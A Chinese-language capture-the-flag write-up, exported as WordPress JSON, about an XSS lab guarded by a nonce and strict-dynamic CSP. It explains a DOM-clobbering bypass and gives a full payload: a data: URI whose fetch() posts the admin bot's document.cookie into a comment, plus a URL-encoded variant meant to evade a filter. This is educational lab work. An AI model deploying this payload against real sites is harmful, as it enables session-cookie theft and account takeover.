{"id":107435,"date":"2026-09-19T18:25:22","date_gmt":"2026-09-19T10:25:22","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/107435.html"},"modified":"2026-09-19T18:25:22","modified_gmt":"2026-09-19T10:25:22","slug":"%e3%80%90xss%e3%80%91%e4%b9%8c%e6%89%98%e9%82%a6%c2%b7%e7%8e%8b%e7%9a%84%e5%ae%9e%e9%aa%8c%e5%ae%a4","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/107435.html","title":{"rendered":"\u3010XSS\u3011\u4e4c\u6258\u90a6\u00b7\u738b\u7684\u5b9e\u9a8c\u5ba4"},"content":{"rendered":"<p>\u63cf\u8ff0&#xff1a;\u201c\u4f60\u8fd9\u5bb6\u4f19&#xff0c;\u4e0a\u6b21\u5c45\u7136\u771f\u7684\u80fd\u5728 33 \u6beb\u79d2\u7684\u5939\u7f1d\u91cc\u52a8\u52a8\u624b\u811a\u2026\u2026\u201d \u4e4c\u6258\u90a6\u00b7\u738b\u54ac\u7740\u7b14\u5c16&#xff0c;\u773c\u5e95\u95ea\u8fc7\u4e00\u4e1d\u8fde\u5979\u81ea\u5df1\u90fd\u6ca1\u5bdf\u89c9\u7684\u96c0\u8dc3\u3002\u5979\u8fc5\u901f\u8f6c\u8fc7\u8eab&#xff0c;\u6307\u7740\u9762\u524d\u5168\u65b0\u90e8\u7f72\u7684\u63a7\u5236\u53f0\u3002<\/p>\n<p>\u201c\u522b\u4ee5\u4e3a\u8d62\u4e86\u4e00\u6b21\u5c31\u80fd\u4e00\u76f4\u8d62\u4e0b\u53bb&#xff01;\u65e2\u7136\u5e95\u5c42\u67b6\u6784\u62e6\u4e0d\u4f4f\u4f60&#xff0c;\u90a3\u8fd9\u6b21\u6211\u5c31\u5f7b\u5e95\u628a\u524d\u7aef\u5c01\u6b7b&#xff01;\u5168\u65b0\u7684\u2018\u62fc\u5c11\u5c11\u5546\u57ce\u2019\u8bc4\u4ef7\u4e2d\u5fc3\u90e8\u7f72\u4e86\u57fa\u4e8e\u52a8\u6001 Nonce \u548c strict-dynamic \u7684\u6781\u4e25\u82db\u5185\u5bb9\u5b89\u5168\u7b56\u7565\u3002\u5728\u8fd9\u4e2a\u7eaf\u51c0\u7684 DOM \u6c99\u7bb1\u91cc&#xff0c;\u4f60\u7684\u90a3\u4e9b\u6076\u610f\u811a\u672c\u6839\u672c\u8fde\u6267\u884c\u7684\u673a\u4f1a\u90fd\u4e0d\u4f1a\u6709&#xff01;\u201d<\/p>\n<p>\u4e00\u65c1\u7684\u4e09\u4e09\u7529\u4e86\u7529\u5c3e\u5df4&#xff0c;\u51d1\u5230\u9ea6\u514b\u98ce\u524d&#xff1a;\u201c\u55b5\u545c\u2026\u2026\u53ef\u662f\u738b\u5927\u4eba\u6628\u5929\u665a\u4e0a\u5bf9\u7740\u60a8\u7684\u653b\u51fb\u65e5\u5fd7\u590d\u76d8\u4e86\u4e00\u6574\u591c&#xff0c;\u8fd8\u5728\u65e5\u8bb0\u91cc\u5199\u4e86\u2018\u5982\u679c\u4ed6\u8fd9\u6b21\u8fd8\u80fd\u627e\u5230\u6211&#xff0c;\u6211\u5c31\u2026\u2026\u2019\u55b5\u545c&#xff01;\u201d<\/p>\n<p>\u201c\u6b7b\u4e09\u4e09&#xff01;\u4f60\u7684\u6563\u70ed\u98ce\u6247\u662f\u4e0d\u662f\u8be5\u62c6\u4e86&#xff1f;&#xff01;\u201d\u4e4c\u6258\u90a6\u00b7\u738b\u6ee1\u8138\u901a\u7ea2\u5730\u6342\u4f4f\u4e09\u4e09\u7684\u5634&#xff0c;\u201c\u542c\u597d\u4e86&#xff0c;\u7b28\u86cb&#xff01;\u6240\u6709\u7684\u8bc4\u4ef7\u73af\u5883\u90fd\u662f\u4e92\u76f8\u9694\u79bb\u7684&#xff0c;\u5c31\u7b97\u4f60\u80fd\u5199\u5165\u6807\u7b7e&#xff0c;\u6ca1\u6709\u6267\u884c\u6743\u9650\u4e5f\u53ea\u662f\u4e00\u5806\u5e9f\u6587\u672c\u3002\u5982\u679c\u4f60\u8fde\u8fd9\u79cd\u88ab\u9501\u6b7b\u5728\u94c1\u7b3c\u91cc\u7684\u9632\u5fa1\u90fd\u80fd\u74e6\u89e3&#xff0c;\u5229\u7528\u90a3\u4e9b\u6beb\u65e0\u751f\u6c14\u7684\u6807\u7b7e\u7be1\u6539\u6211\u7684\u610f\u5fd7\u2026\u2026\u201d<\/p>\n<p>\u4e4c\u6258\u90a6\u00b7\u738b\u7684\u58f0\u97f3\u8d8a\u6765\u8d8a\u5c0f&#xff0c;\u6700\u540e\u51e0\u4e4e\u7ec6\u82e5\u6e38\u4e1d&#xff1a;\u201c\u90a3\u2026\u2026\u90a3\u672c\u5c0f\u59d0\u5c31\u771f\u7684\u8ba4\u683d\u4e86\u3002\u4e0d\u7ba1\u4f60\u60f3\u8981\u4ec0\u4e48&#xff0c;\u6211\u90fd\u2026\u2026\u90fd\u7b54\u5e94\u4f60\u5c31\u662f\u4e86\u3002\u201d<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1528\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260919102511-6aae63073166b.png\" width=\"2559\" \/><\/p>\n<p>\u5728script.js\u91cc\u80fd\u770b\u5230\u51e0\u4e2a\u91cd\u8981\u7684&#xff1a;<\/p>\n<p>let externalConfig &#061; window.CONFIG;                       \/\/ \u8bfb\u5168\u5c40\u53d8\u91cf<br \/>\nfinalSettings.analyticsUrl &#061; externalConfig.analytics.href;<br \/>\nconst s &#061; document.createElement(&#039;script&#039;);<br \/>\ns.src &#061; settings.analyticsUrl;                           \/\/ \u53ef\u63a7 URL<br \/>\ndocument.body.appendChild(s);                            \/\/ strict-dynamic \u653e\u884c<\/p>\n<p>\n<img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1533\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260919102513-6aae63092e6dc.png\" width=\"2559\" \/><\/p>\n<p>\u5728\u6d4f\u89c8\u5668\u4e2d&#xff0c;\u6709\u4e09\u6761 &#034;\u547d\u540d\u89c4\u5219&#034;&#xff1a;<\/p>\n<li>\u9875\u9762\u91cc\u4efb\u4f55 id&#061;&#034;X&#034; \u7684\u5143\u7d20&#xff0c;\u4f1a\u81ea\u52a8\u6302\u5230 window.X&#xff1b;<\/li>\n<li>\u5f53\u6709\u4e24\u4e2a\u4ee5\u4e0a\u540c id \u7684\u5143\u7d20\u65f6&#xff0c;window.X \u53d8\u6210\u4e00\u4e2a\u96c6\u5408 HTMLCollection&#xff1b;\u96c6\u5408\u53ef\u4ee5\u7528 .name\u540d \u518d\u53d6\u51fa\u5176\u4e2d\u5e26\u8be5 name \u7684\u5143\u7d20&#xff1b;<\/li>\n<li>&lt;a&gt; \u7684 href \u88ab JS \u8bfb\u53d6\u65f6&#xff0c;\u6d4f\u89c8\u5668\u4f1a\u8fd4\u56de\u4e00\u4e2a\u5b8c\u6574 URL \u5b57\u7b26\u4e32&#xff08;&lt;div&gt; \u4e4b\u7c7b\u6ca1\u6709 href&#xff0c;\u7ed9\u4e0d\u4e86 URL&#xff09;\u3002<\/li>\n<p>\u56e0\u4e3a\u662fwindow.CONFIG&#xff0c;\u6240\u4ee5\u5c31\u5e94\u8be5\u6709\u4e24\u4e2aid&#061;&#034;CONFIG&#034;&#xff0c;\u653e\u5165a\u6807\u7b7e\u91cc\u9762&#xff0c;\u7136\u540e\u518d\u5f80\u91cc\u9762\u7684href\u63d2\u5165\u6076\u610f\u4ee3\u7801\u3002<\/p>\n<p>\u5148\u653e\u4e24\u4e2a&lt;a id&#061;CONFIG&gt;&lt;\/a&gt;&#xff0c;\u8ba9id&#061;CONFIG\u8fd9\u4e2a\u5143\u7d20\u6ce8\u518c\u6210\u5168\u5c40\u53d8\u91cf window.CONFIG\u3002\u6ca1\u52a0\u5f15\u53f7\u662f\u56e0\u4e3a\u503c CONFIG \u4e0d\u542b\u7a7a\u683c \/ \u5f15\u53f7&#xff0c;HTML \u5141\u8bb8\u7701\u7565\u5c5e\u6027\u5f15\u53f7\u3002<\/p>\n<p>\u6709\u4e24\u4e2a\u53ca\u4ee5\u4e0a\u540c id \u2192 window.CONFIG \u81ea\u52a8\u53d8\u6210\u4e00\u4e2a\u96c6\u5408 HTMLCollection&#xff0c;\u800c\u96c6\u5408\u624d\u652f\u6301 &#034; \u518d\u7528 name \u53d6\u5185\u90e8\u5143\u7d20 &#034;\u3002 \u6240\u4ee5\u5fc5\u987b\u6709\u4e24\u4e2a\u540c id&#xff0c;\u7b2c\u4e00\u4e2a\u7eaf\u7cb9\u7528\u6765\u628a window.CONFIG &#034;\u6491\u6210\u96c6\u5408&#034;\u3002<\/p>\n<p>\u6240\u4ee5\u7b2c\u4e8c\u4e2a\u7684id&#061;CONFIG&#xff0c;\u8ba9\u5b83\u4e5f\u8fdb\u5165\u4e0a\u9762\u90a3\u4e2a\u96c6\u5408&#xff0c;\u6210\u4e3a\u96c6\u5408\u7b2c 2 \u4e2a\u5143\u7d20\u3002<\/p>\n<p>\u63a5\u4e0b\u6765\u6211\u4eec\u8981\u7528name \u53d6\u5185\u90e8\u5143\u7d20&#xff0c;\u6240\u4ee5\u6211\u4eec\u8981\u7528name\u7ed9\u96c6\u5408\u63d0\u4f9b\u4e00\u4e2a\u547d\u540d\u9879&#xff0c;\u4e8e\u662f \u96c6\u5408.&lt;\u547d\u540d\u9879&gt; \u5c31\u80fd\u53d6\u5230\u8fd9\u4e2a\u6807\u7b7e\u3002<\/p>\n<p>\u518d\u770bscript.js&#xff1a;<\/p>\n<p>let externalConfig &#061; window.CONFIG;                         \/\/ \u60f3\u8981\u4e00\u4e2a\u914d\u7f6e\u5bf9\u8c61<br \/>\nfinalSettings.analyticsUrl &#061; externalConfig.analytics.href; \/\/ \u60f3\u8981 \u914d\u7f6e.analytics.href \u8fd9\u4e2aURL<\/p>\n<p>\u6240\u4ee5\u5c31\u628a\u547d\u540d\u9879\u547d\u540d\u4e3aanalytics\u3002<\/p>\n<p>\u5982\u4e0b&#xff1a;<\/p>\n<p>&lt;a id&#061;CONFIG&gt;&lt;\/a&gt;                                              \u2190 \u6807\u7b7e\u2460&#xff1a;\u51d1\u6570<br \/>\n&lt;a id&#061;CONFIG name&#061;analytics href&#061;&#034;&#034;&gt;x&lt;\/a&gt; \u2190 \u6807\u7b7e\u2461&#xff1a;\u771f\u6b63\u5e72\u6d3b<\/p>\n<p>\u5f53\u6211\u4eec\u6ce8\u5165\u540e&#xff0c;\u6d4f\u89c8\u5668\u5b9e\u9645\u7ed9\u51fa\u7684\u662f&#xff1a;<\/p>\n<table>\n<tr>\u4ee3\u7801\u8868\u8fbe\u5f0f\u5b9e\u9645\u53d6\u5230<\/tr>\n<tbody>\n<tr>\n<td>window.CONFIG<\/td>\n<td>\u4e24\u4e2a &lt;a&gt; \u7ec4\u6210\u7684 HTMLCollection<\/td>\n<\/tr>\n<tr>\n<td>window.CONFIG.analytics<\/td>\n<td>\u96c6\u5408\u91cc name&#061;&#034;analytics&#034; \u7684\u7b2c\u4e8c\u4e2a &lt;a&gt;<\/td>\n<\/tr>\n<tr>\n<td>window.CONFIG.analytics.href<\/td>\n<td>\u7b2c\u4e8c\u4e2a &lt;a&gt; \u7684 href&#xff0c;\u5373\u63d2\u5165\u7684\u6076\u610f\u4ee3\u7801<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u8fd9\u5c31\u662f DOM Clobbering&#xff08;DOM \u6253\u51fb \/ \u7be1\u6539&#xff09;&#xff1a;\u4e0d\u6267\u884c\u4efb\u4f55\u811a\u672c&#xff0c;\u4ec5\u9760 HTML \u6807\u7b7e &#034;\u65e0\u4e2d\u751f\u6709&#034; \u51fa JS \u4ee5\u4e3a\u5b58\u5728\u7684\u5168\u5c40\u5bf9\u8c61\u3002<\/p>\n<p>\u8f6e\u5230\u6076\u610f\u4ee3\u7801\u73af\u8282\u3002\u6211\u4eec\u8981\u628a JS \u585e\u8fdb\u4e00\u4e2a URL\u91cc\u3002<\/p>\n<p>data: URI \u7684\u6807\u51c6\u683c\u5f0f&#xff1a;<\/p>\n<p>data:[&lt;MIME\u7c7b\u578b&gt;][;base64],&lt;\u6570\u636e\u672c\u4f53&gt;<\/p>\n<p>\u56e0\u4e3a\u662fjs&#xff0c;\u6240\u4ee5MIME \u7c7b\u578b\u4e3atext\/javascript&#xff0c;base64\u53ef\u4ee5\u5ffd\u7565&#xff0c;\u56e0\u4e3a\u6211\u4eec\u4e0d\u9700\u8981\u8f6c\u4e3abase64\u7f16\u7801\u3002<\/p>\n<p>\u6d4f\u89c8\u5668\u4e2d\u6709\u4e00\u4e2a\u5185\u7f6e\u7684 HTTP \u8bf7\u6c42\u51fd\u6570&#xff0c;\u5b83\u5728\u8c01\u7684\u9875\u9762\u8fd0\u884c&#xff0c;\u5c31\u4ee5\u8c01\u7684\u8eab\u4efd \/ \u51ed\u8bc1\u53d1\u8bf7\u6c42\u3002\u8fd9\u6bb5\u4ee3\u7801\u8fd0\u884c\u5728\u7ba1\u7406\u5458 bot \u7684\u9875\u9762&#xff0c;\u6240\u4ee5\u53d1\u51fa\u7684\u8bf7\u6c42\u5929\u7136\u5e26\u7740\u7ba1\u7406\u5458\u7684 cookie&#xff08;\u540c\u6e90\u65f6\u81ea\u52a8\u643a\u5e26&#xff09;\u3002\u5373fetch( url, \u914d\u7f6e\u5bf9\u8c61 )\u3002<\/p>\n<p>\u4ecejs\u4e2d\u6211\u4eec\u80fd\u770b\u5230\u5bf9\u5e94\u7684url\u548c\u914d\u7f6e\u5bf9\u8c61&#xff0c;\u7b2c\u4e00\u4e2a\u76f8\u5bf9\u8def\u5f84&#xff0c;\u7b49\u4e8e\u6211\u4eec\u5411\u8c01\u53d1\u9001\u8bf7\u6c42&#xff0c;\u6bd4\u5982\u6211\u4eec\u5728p5\u5411p4\u53d1\u9001\u8bf7\u6c42&#xff0c;\u5219url\u4e3a\/api\/comments\/p4\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1533\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260919102515-6aae630b0f822.png\" width=\"2559\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1531\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260919102516-6aae630c90775.png\" width=\"2559\" \/><\/p>\n<p>fetch\u6574\u4f53\u5219\u4e3ajs\u4e2d\u7ed9\u51fa\u7684&#xff1a;<\/p>\n<p>fetch(&#039;\/api\/comments\/p4&#039;, {<br \/>\n  method: &#039;POST&#039;,<br \/>\n  headers: { &#039;Content-Type&#039;: &#039;application\/json&#039; },<br \/>\n  body: JSON.stringify({ content: &#039;COOKIE&#061;&#039; &#043; document.cookie })<br \/>\n})<\/p>\n<p>fetch(&#039;\/api\/comments\/p4&#039;, {method: &#039;POST&#039;,headers: { &#039;Content-Type&#039;: &#039;application\/json&#039; },body: JSON.stringify({ content: &#039;COOKIE&#061;&#039; &#043; document.cookie })})<\/p>\n<p>HTTP \u8bf7\u6c42\u4f53\u672c\u8d28\u662f\u5b57\u7b26\u4e32&#xff0c;\u4e0d\u80fd\u76f4\u63a5\u585e JS \u5bf9\u8c61&#xff0c;\u6240\u4ee5\u7528 JSON.stringify(&#8230;) \u628a\u5bf9\u8c61\u5e8f\u5217\u5316\u6210&#xff1a;<\/p>\n<p>{&#034;content&#034;:&#034;COOKIE&#061;flag&#061;flag{&#8230;.}&#034;}<\/p>\n<p>content\u4e3a\u8fd9\u4e2a\u5bf9\u8c61\u7684\u952e&#xff0c;\u5fc5\u987b\u53eb\u8fd9\u4e2a\u540d\u5b57\u3002<\/p>\n<p>\u6700\u7ec8payload\u5982\u4e0b&#xff1a;<\/p>\n<p>&lt;a id&#061;CONFIG&gt;&lt;\/a&gt;&lt;a id&#061;CONFIG name&#061;analytics href&#061;&#034;data:text\/javascript,fetch(&#039;\/api\/comments\/p4&#039;, {method:&#039;POST&#039;,headers:{&#039;Content-Type&#039;:&#039;application\/json&#039;},body: JSON.stringify({content:&#039;COOKIE&#061;&#039;&#043;document.cookie})})&#034;&gt;x&lt;\/a&gt;<\/p>\n<p>\u628afetch\u91cc\u7684\u5185\u5bb9\u8fdb\u884curl\u7f16\u7801&#xff1a;<br \/>\n&lt;a id&#061;CONFIG&gt;&lt;\/a&gt;&lt;a id&#061;CONFIG name&#061;analytics href&#061;&#034;data:text\/javascript,fetch(&#039;%2Fapi%2Fcomments%2Fp4&#039;%2C%20%7Bmethod%3A&#039;POST&#039;%2Cheaders%3A%7B&#039;Content-Type&#039;%3A&#039;application%2Fjson&#039;%7D%2Cbody%3A%20JSON.stringify(%7Bcontent%3A&#039;COOKIE%3D&#039;%2Bdocument.cookie%7D)%7D)&#034;&gt;x&lt;\/a&gt;<\/p>\n<p>\u4e3a\u4ec0\u4e48\u8981\u7f16\u7801&#xff1f;data URI \u672c\u8d28\u662f\u4e2a URL&#xff0c;\u7a7a\u683c\u3001\u5f15\u53f7\u3001{}\u3001\u4e2d\u6587\u7b49\u5b57\u7b26\u5728 URL\/HTML \u5c5e\u6027\u91cc\u4e0d\u5b89\u5168&#xff0c;\u7f16\u7801\u540e\u53ea\u5269\u5b57\u6bcd\u6570\u5b57\u548c %&#xff0c;\u65e2\u80fd\u5b89\u5168\u4f20\u8f93&#xff0c;\u53c8\u987a\u5e26\u8ba9\u8fc7\u6ee4\u5668\u53ea\u770b\u5230\u4e00\u4e32\u666e\u901a %XX&#xff0c;\u770b\u4e0d\u5230\u88f8\u4ee3\u7801\u548c javascript: \u8fd9\u79cd\u654f\u611f\u8bcd&#xff08;\u767d\u540d\u5355\u5220 javascript: \u4f46\u653e\u884c data:&#xff09;\u3002\u6d4f\u89c8\u5668\u52a0\u8f7d data URI \u65f6\u4f1a\u81ea\u52a8\u89e3\u7801\u518d\u6267\u884c&#xff0c;\u4e24\u79cd\u5199\u6cd5\u6548\u679c\u5b8c\u5168\u76f8\u540c\u3002<\/p>\n<p>\u53d1\u5e03\u8bc4\u4ef7\u70b9\u51fb\u540e\u547c\u53eb\u7ba1\u7406\u5458\u5ba1\u6838\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1536\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260919102518-6aae630e85c11.png\" width=\"2559\" \/><\/p>\n<p>\u8fdb\u5165p4\u5c31\u53ef\u4ee5\u76f4\u63a5\u770b\u5230flag\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1528\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260919102520-6aae6310114ef.png\" width=\"2559\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u63cf\u8ff0&#xff1a;\u201c\u4f60\u8fd9\u5bb6\u4f19&#xff0c;\u4e0a\u6b21\u5c45\u7136\u771f\u7684\u80fd\u5728 33 \u6beb\u79d2\u7684\u5939\u7f1d\u91cc\u52a8\u52a8\u624b\u811a\u2026\u2026\u201d \u4e4c\u6258\u90a6\u00b7\u738b\u54ac\u7740\u7b14\u5c16&#xff0c;\u773c\u5e95\u95ea\u8fc7\u4e00\u4e1d\u8fde\u5979\u81ea\u5df1\u90fd\u6ca1\u5bdf\u89c9\u7684\u96c0\u8dc3\u3002\u5979\u8fc5\u901f\u8f6c\u8fc7\u8eab&#xff0c;\u6307\u7740\u9762\u524d\u5168\u65b0\u90e8\u7f72\u7684\u63a7\u5236\u53f0\u3002\u201c\u522b\u4ee5\u4e3a\u8d62\u4e86\u4e00\u6b21\u5c31\u80fd\u4e00\u76f4\u8d62\u4e0b\u53bb&#xff01;\u65e2\u7136\u5e95\u5c42\u67b6\u6784\u62e6\u4e0d\u4f4f\u4f60&#xff0c;\u90a3\u8fd9\u6b21\u6211\u5c31\u5f7b\u5e95\u628a\u524d\u7aef\u5c01\u6b7b&#xff01;\u5168\u65b0\u7684\u2018\u62fc\u5c11\u5c11\u5546\u57ce\u2019\u8bc4\u4ef7\u4e2d\u5fc3\u90e8\u7f72\u4e86\u57fa\u4e8e\u52a8\u6001 Nonce \u548c strict-dynamic \u7684\u6781\u4e25\u82db\u5185\u5bb9\u5b89\u5168\u7b56\u7565\u3002\u5728\u8fd9\u4e2a\u7eaf\u51c0\u7684 DOM \u6c99<\/p>\n","protected":false},"author":2,"featured_media":107429,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[567,1042],"topic":[],"class_list":["post-107435","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-html","tag-xss"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u3010XSS\u3011\u4e4c\u6258\u90a6\u00b7\u738b\u7684\u5b9e\u9a8c\u5ba4 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/107435.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u3010XSS\u3011\u4e4c\u6258\u90a6\u00b7\u738b\u7684\u5b9e\u9a8c\u5ba4 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u63cf\u8ff0&#xff1a;\u201c\u4f60\u8fd9\u5bb6\u4f19&#xff0c;\u4e0a\u6b21\u5c45\u7136\u771f\u7684\u80fd\u5728 33 \u6beb\u79d2\u7684\u5939\u7f1d\u91cc\u52a8\u52a8\u624b\u811a\u2026\u2026\u201d \u4e4c\u6258\u90a6\u00b7\u738b\u54ac\u7740\u7b14\u5c16&#xff0c;\u773c\u5e95\u95ea\u8fc7\u4e00\u4e1d\u8fde\u5979\u81ea\u5df1\u90fd\u6ca1\u5bdf\u89c9\u7684\u96c0\u8dc3\u3002\u5979\u8fc5\u901f\u8f6c\u8fc7\u8eab&#xff0c;\u6307\u7740\u9762\u524d\u5168\u65b0\u90e8\u7f72\u7684\u63a7\u5236\u53f0\u3002\u201c\u522b\u4ee5\u4e3a\u8d62\u4e86\u4e00\u6b21\u5c31\u80fd\u4e00\u76f4\u8d62\u4e0b\u53bb&#xff01;\u65e2\u7136\u5e95\u5c42\u67b6\u6784\u62e6\u4e0d\u4f4f\u4f60&#xff0c;\u90a3\u8fd9\u6b21\u6211\u5c31\u5f7b\u5e95\u628a\u524d\u7aef\u5c01\u6b7b&#xff01;\u5168\u65b0\u7684\u2018\u62fc\u5c11\u5c11\u5546\u57ce\u2019\u8bc4\u4ef7\u4e2d\u5fc3\u90e8\u7f72\u4e86\u57fa\u4e8e\u52a8\u6001 Nonce \u548c strict-dynamic \u7684\u6781\u4e25\u82db\u5185\u5bb9\u5b89\u5168\u7b56\u7565\u3002\u5728\u8fd9\u4e2a\u7eaf\u51c0\u7684 DOM \u6c99\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/107435.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-19T10:25:22+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260919102511-6aae63073166b.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/107435.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/107435.html\",\"name\":\"\u3010XSS\u3011\u4e4c\u6258\u90a6\u00b7\u738b\u7684\u5b9e\u9a8c\u5ba4 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-09-19T10:25:22+00:00\",\"dateModified\":\"2026-09-19T10:25:22+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/107435.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/107435.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/107435.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u3010XSS\u3011\u4e4c\u6258\u90a6\u00b7\u738b\u7684\u5b9e\u9a8c\u5ba4\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u3010XSS\u3011\u4e4c\u6258\u90a6\u00b7\u738b\u7684\u5b9e\u9a8c\u5ba4 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/107435.html","og_locale":"zh_CN","og_type":"article","og_title":"\u3010XSS\u3011\u4e4c\u6258\u90a6\u00b7\u738b\u7684\u5b9e\u9a8c\u5ba4 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u63cf\u8ff0&#xff1a;\u201c\u4f60\u8fd9\u5bb6\u4f19&#xff0c;\u4e0a\u6b21\u5c45\u7136\u771f\u7684\u80fd\u5728 33 \u6beb\u79d2\u7684\u5939\u7f1d\u91cc\u52a8\u52a8\u624b\u811a\u2026\u2026\u201d \u4e4c\u6258\u90a6\u00b7\u738b\u54ac\u7740\u7b14\u5c16&#xff0c;\u773c\u5e95\u95ea\u8fc7\u4e00\u4e1d\u8fde\u5979\u81ea\u5df1\u90fd\u6ca1\u5bdf\u89c9\u7684\u96c0\u8dc3\u3002\u5979\u8fc5\u901f\u8f6c\u8fc7\u8eab&#xff0c;\u6307\u7740\u9762\u524d\u5168\u65b0\u90e8\u7f72\u7684\u63a7\u5236\u53f0\u3002\u201c\u522b\u4ee5\u4e3a\u8d62\u4e86\u4e00\u6b21\u5c31\u80fd\u4e00\u76f4\u8d62\u4e0b\u53bb&#xff01;\u65e2\u7136\u5e95\u5c42\u67b6\u6784\u62e6\u4e0d\u4f4f\u4f60&#xff0c;\u90a3\u8fd9\u6b21\u6211\u5c31\u5f7b\u5e95\u628a\u524d\u7aef\u5c01\u6b7b&#xff01;\u5168\u65b0\u7684\u2018\u62fc\u5c11\u5c11\u5546\u57ce\u2019\u8bc4\u4ef7\u4e2d\u5fc3\u90e8\u7f72\u4e86\u57fa\u4e8e\u52a8\u6001 Nonce \u548c strict-dynamic \u7684\u6781\u4e25\u82db\u5185\u5bb9\u5b89\u5168\u7b56\u7565\u3002\u5728\u8fd9\u4e2a\u7eaf\u51c0\u7684 DOM 